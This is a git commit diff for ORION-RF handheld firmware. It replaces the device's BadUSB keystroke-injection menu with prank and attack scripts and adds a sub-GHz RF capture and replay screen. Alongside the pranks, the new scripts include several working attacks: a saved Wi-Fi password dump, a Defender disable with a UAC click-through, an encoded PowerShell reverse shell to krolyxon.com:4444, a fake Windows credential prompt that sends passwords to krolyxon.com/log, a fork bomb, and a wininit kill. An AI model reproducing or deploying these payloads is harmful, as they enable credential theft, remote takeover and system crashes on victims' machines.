change badUSB scripts

Remove unnecessary scripts and keep only the cooler and flashy ones
This commit is contained in:
krolyxon 2026-05-14 15:55:40 +05:30
parent 75eea47140
commit 45d23ef49d
4 changed files with 508 additions and 352 deletions

View File

@ -56,6 +56,15 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
}
}
void typeSlow(const char *text, int delayMs = 25)
{
while (*text)
{
Keyboard.print(*text);
delay(delayMs);
text++;
}
}
void badUSBMenu(int index) {
//switch (index)
@ -76,321 +85,301 @@ void badUSBMenu(int index) {
// }
switch(index) {
case 0: // demo
switch(index)
{
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
showRunningScreen("DEMO");
runCommand("notepad");
// Run dialog (Win + R)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(1000);
delay(2500);
Keyboard.println("notepad");
delay(1500);
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN);
break;
// ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
runCommand("cmd");
delay(700);
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
break;
// ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
runCommand("cmd");
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN);
typeSlow(":A");
Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
typeSlow("goto A");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
runCommand("cmd");
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN);
typeSlow("systeminfo");
Keyboard.write(KEY_RETURN);
break;
// ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY =================
case 4:
showRunningScreen("WiFi Recovery");
runCommand("cmd");
delay(700);
// Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN);
delay(200);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN);
delay(500);
// The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in clear text.
// We use a 'for' loop to automate this for every network the PC has ever joined.
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE UPDATE =================
case 5:
showRunningScreen("Fake Update");
runCommand("cmd");
delay(700);
typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE BSOD =================
case 6:
showRunningScreen("Critical Error");
runCommand("powershell -c \"stop-process -name wininit -force\"");
break;
// ================= GLITCH SCREEN =================
case 7:
showRunningScreen("Glitch");
runCommand("cmd");
delay(700);
for(int i = 0; i < 20; i++)
{
typeSlow("color 4F");
Keyboard.write(KEY_RETURN);
typeSlow("color 1F");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
}
break;
// ================= ASCII SPAM =================
case 8:
showRunningScreen("ASCII");
runCommand("notepad");
delay(2000);
Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
Keyboard.println("#-FEATURES:");
Keyboard.println("1- WIFI ATTACKS");
Keyboard.println("2- BLE ATTACKS");
Keyboard.println("3- BAD USB");
Keyboard.println("4- NFC");
Keyboard.println("5- INFRARED");
Keyboard.println("6- SUB-GHZ");
Keyboard.println("7- GPIO");
Keyboard.println("8- APPS");
Keyboard.println("9- SETTINGS");
Keyboard.println("10- FILES");
for(int i = 0; i < 15; i++)
{
typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN);
break;
case 1: // keyboard
//runLoop(hidkeyboard);
break;
case 2: // saved scripts
//hidInit();
//runLoop(hidscriptmenu);
typeSlow(">>> SIGNAL ACQUIRED <<<");
Keyboard.write(KEY_RETURN);
break;
typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN);
case 3: // Open Notepad
showRunningScreen("notepad");
runCommand("notepad");
break;
case 4: // Open CMD
showRunningScreen("opening cmd");
runCommand("cmd");
break;
case 5: // Show IP
showRunningScreen("Getting IP");
runCommand("cmd");
delay(500);
Keyboard.print("ipconfig");
Keyboard.write(KEY_RETURN);
break;
case 6: // Shutdown
showRunningScreen("shutdown");
runCommand("shutdown /s /t 0");
break;
case 7: // RickRoll
showRunningScreen("rickroll");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
break;
case 8: // Create Admin User
showRunningScreen("create admin user");
runCommand("cmd");
delay(500);
Keyboard.print("net user hacker 1234 /add");
Keyboard.write(KEY_RETURN);
delay(300);
Keyboard.print("net localgroup administrators hacker /add");
Keyboard.write(KEY_RETURN);
break;
case 9: // Disable Windows Defender
showRunningScreen("disable windoes defender");
runCommand("powershell");
delay(500);
Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
Keyboard.write(KEY_RETURN);
break;
case 10: // Open YouTube
showRunningScreen("youtube");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.youtube.com");
Keyboard.write(KEY_RETURN);
break;
case 11: // Lock PC
showRunningScreen("lock pc");
runCommand("rundll32.exe user32.dll,LockWorkStation");
break;
case 12: // Fake Update
showRunningScreen("fake update");
runCommand("cmd");
delay(500);
Keyboard.print("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
break;
case 13: // Endless Notepad
showRunningScreen("endless notepad");
for (int i = 0; i < 10; i++) {
runCommand("notepad");
delay(500);
Keyboard.write(KEY_RETURN);
}
break;
case 14: // Fake BSOD (opens fullscreen image)
showRunningScreen(" fake bsod");
// ================= HACKER TYPER =================
case 9:
showRunningScreen("Hacker Typer");
runCommand("cmd");
delay(500);
Keyboard.print("start https://fakeupdate.net/bsod/");
Keyboard.write(KEY_RETURN);
break;
case 15: // Flip screen
showRunningScreen("Flip screen");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_DOWN_ARROW);
delay(100);
delay(700);
typeSlow("start https://hackertyper.net/");
Keyboard.write(KEY_RETURN);
break;
// ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC =================
case 10:
showRunningScreen("Pwn Mode v2");
// 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(150);
Keyboard.releaseAll();
break;
delay(500);
// Open Admin Prompt - using 'powershell' directly to save space
typeSlow("powershell Start-Process powershell -Verb runAs");
Keyboard.write(KEY_RETURN);
delay(2500); // Wait for UAC
// 2. Bypass UAC (Left Arrow + Enter)
Keyboard.write(KEY_LEFT_ARROW);
delay(200);
Keyboard.write(KEY_RETURN);
delay(3000); // Give the Admin window time to load
// 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN);
break;
// ================= CREDENTIAL SNATCHER =================
case 11:
showRunningScreen("Vault Crack");
// Open hidden PowerShell
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break;
// ================= DESKTOP GHOST =================
case 12:
showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN);
break;
// ================= FORK BOMB =================
case 13:
showRunningScreen("System Stress");
case 16: // Matrix effect
showRunningScreen("Matrix effect");
runCommand("cmd");
delay(500);
Keyboard.print("color 0A");
// The shortest deadly command in Windows
typeSlow("%0|%0");
Keyboard.write(KEY_RETURN);
Keyboard.print(":a");
Keyboard.write(KEY_RETURN);
Keyboard.print("echo %random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
Keyboard.print("goto a");
Keyboard.write(KEY_RETURN);
break;
case 17: // I'm watching you prank
showRunningScreen(" iam watching you");
for (int i = 0; i < 5; i++) {
runCommand("notepad");
delay(1000);
Keyboard.print("I'm watching you...");
delay(5000);
}
break;
case 18: // Open Google
showRunningScreen("open google");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.google.com");
Keyboard.write(KEY_RETURN);
break;
case 19: // Open telegram
showRunningScreen("open telegram");
runCommand("cmd");
delay(500);
Keyboard.print("start https://web.telegram.org/");
Keyboard.write(KEY_RETURN);
break;
case 20: // Alarm Sound
showRunningScreen("alarm sound");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
Keyboard.write(KEY_RETURN);
break;
case 21: // Endless CMD
showRunningScreen("endless smd");
for (int i = 0; i < 20; i++) {
runCommand("cmd");
delay(300);
}
break;
case 22: // Gibberish
showRunningScreen("gibberish");
for (int i = 0; i < 100; i++) {
char c = random(33, 127);
Keyboard.write(c);
delay(50);
}
break;
case 23: // CAPSLOCK Spam
showRunningScreen("caps lock spam");
for (int i = 0; i < 10; i++) {
Keyboard.press(KEY_CAPS_LOCK);
delay(200);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
}
break;
case 24: // Calculator
showRunningScreen("claculator");
runCommand("calc");
break;
case 25: // Auto Type "Hacked!"
showRunningScreen("hacked");
for (int i = 0; i < 5; i++) {
Keyboard.print("Hacked!");
Keyboard.write(KEY_RETURN);
delay(1000);
}
break;
case 26: // Turn off monitor (Windows only)
showRunningScreen("turn off monitor");
runCommand("powershell");
delay(500);
Keyboard.print(
"(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
"SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
"-Pas)::SendMessage(-1,0x0112,0xF170,2)");
Keyboard.write(KEY_RETURN);
break;
case 27: // RegEdit
showRunningScreen("regedit");
runCommand("regedit");
break;
case 28: // Kill Explorer
showRunningScreen(" kill explorer");
runCommand("taskkill /f /im explorer.exe");
break;
case 29: // Flash screen (by changing background rapidly)
showRunningScreen(" flash screen");
for (int i = 0; i < 10; i++) {
runCommand("color 4F");
delay(200);
runCommand("color 1F");
delay(200);
}
break;
case 30: // Rename Desktop Files (basic prank)
showRunningScreen("rename desktop files");
runCommand("powershell");
delay(500);
Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
"Rename-Item -NewName {'hacked'+$_.Name}");
Keyboard.write(KEY_RETURN);
break;
case 31: // Toggle WiFi (requires admin)
showRunningScreen("toggle wifi");
runCommand("cmd");
delay(500);
Keyboard.print("netsh interface set interface Wi-Fi disabled");
Keyboard.write(KEY_RETURN);
delay(1000);
Keyboard.print("netsh interface set interface Wi-Fi enabled");
Keyboard.write(KEY_RETURN);
break;
case 32: // Screenshot
showRunningScreen("screenshot");
runCommand("powershell");
delay(500);
Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
Keyboard.write(KEY_RETURN);
delay(300);
Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
Keyboard.write(KEY_RETURN);
break;
case 33: // Emoji spam
showRunningScreen("emoji spam");
for (int i = 0; i < 10; i++) {
Keyboard.print("💀");
Keyboard.write(KEY_RETURN);
delay(500);
}
break;
case 34: // Control Panel
showRunningScreen("control panel");
runCommand("control");
break;
case 35: // Troll wallpaper
showRunningScreen("troll wallpaper");
runCommand("cmd");
delay(500);
Keyboard.print("start https://i.imgur.com/trollface.png");
Keyboard.write(KEY_RETURN);
break;
case 36: // MS Paint
showRunningScreen("ms paint");
runCommand("mspaint");
break;
case 37: // Auto Tab Switcher
showRunningScreen(" auto tab switcher");
for (int i = 0; i < 10; i++) {
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_TAB);
delay(100);
Keyboard.releaseAll();
delay(300);
}
break;
}
}

View File

@ -3,6 +3,8 @@
#include "cc1101.h"
#include "../config.h"
#include "SPI.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
// ===== CONFIG =====
#define RAW_BUF_MAX 512
@ -203,3 +205,204 @@ void replaySignal()
Serial.println("Replay complete");
}
void captureAndDisplay()
{
if (!cc1101Inited)
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
}
startCapture();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.sendBuffer();
unsigned long lastSignal = millis();
int lastPulseCount = 0;
while (true)
{
// signal detected
if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex;
lastSignal = millis();
}
// update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.setCursor(0, 28);
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0)
{
u8g2.drawStr(0, 54, "Signal Detected");
}
else
{
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer();
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
{
stopCapture();
Serial.println();
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++)
{
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu()
{
if (!isCC1101Ready())
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
}
pulseIndex = 0;
startCapture();
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
}
stopCapture();
// ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
while (1)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++)
{
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
}
u8g2.sendBuffer();
// scroll down
if (btnDown())
{
if (scroll < count - 1)
scroll++;
delay(120);
}
// scroll up
if (btnUp())
{
if (scroll > 0)
scroll--;
delay(120);
}
// replay
if (btnSelect())
{
replaySignal();
delay(300);
}
// exit
if (btnBack())
{
delay(150);
return;
}
delay(20);
}
}

View File

@ -3,6 +3,9 @@
bool initCC1101();
bool isCC1101Ready();
void captureAndDisplay();
void handleMenu();
void startCapture();
void stopCapture();
void printCapture();

View File

@ -50,46 +50,22 @@ const char *nrfToolsItems[] = {
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
// BadUSB submenu
const char *badusbItems[] = {"DEMO",
"KEYBOARD",
"HID SCRIPT",
"Open Notepad",
"Open CMD",
"Show IP",
"Shutdown",
"RickRoll",
"Create Admin",
"Disable Defender",
"Open YouTube",
"Lock PC",
"Fake Update",
"Endless Notepad",
"Fake BSOD",
"Flip Screen",
"Matrix Effect",
"I'm Watching U",
"Open Google",
"Open telegram",
"Play Alarm Sound",
"Endless CMD",
"Type Gibberish",
"Spam CAPSLOCK",
"Open Calc",
"Auto 'Hacked!'",
"Turn Off Monitor",
"Open RegEdit",
"Kill Explorer",
"Flash Screen",
"Rename Desktop",
"Toggle WiFi",
"Auto Screenshot",
"Spam Emojis",
"Open Ctrl Panel",
"Troll Wallpaper",
"Open MS Paint",
"Tab Switcher"};
const char *badusbItems[] = {
"ORION Demo",
"RickRoll",
"Matrix Rain",
"Fake Terminal",
"Wifi Password Extractor",
"Fake Update",
"Fake BSOD",
"Glitch Screen",
"ASCII Spam",
"Hacker Typer",
"PWN Reverse shell",
"Phishing attack",
"Desktop Ghost",
"System Stresser"
};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -156,24 +132,9 @@ void launchFeature()
menuOffset = 0;
break;
case 1:
if (!isCC1101Ready()) {
if (!initCC1101()) {
Serial.println("CC1101 failed");
return;
}
}
Serial.println("Ready to capture...");
startCapture();
delay(5000);
stopCapture();
printCapture();
delay(5000);
replaySignal();
case 1:
handleMenu();
break;
case 2:
// startNRFJammer();
//startBleJammer();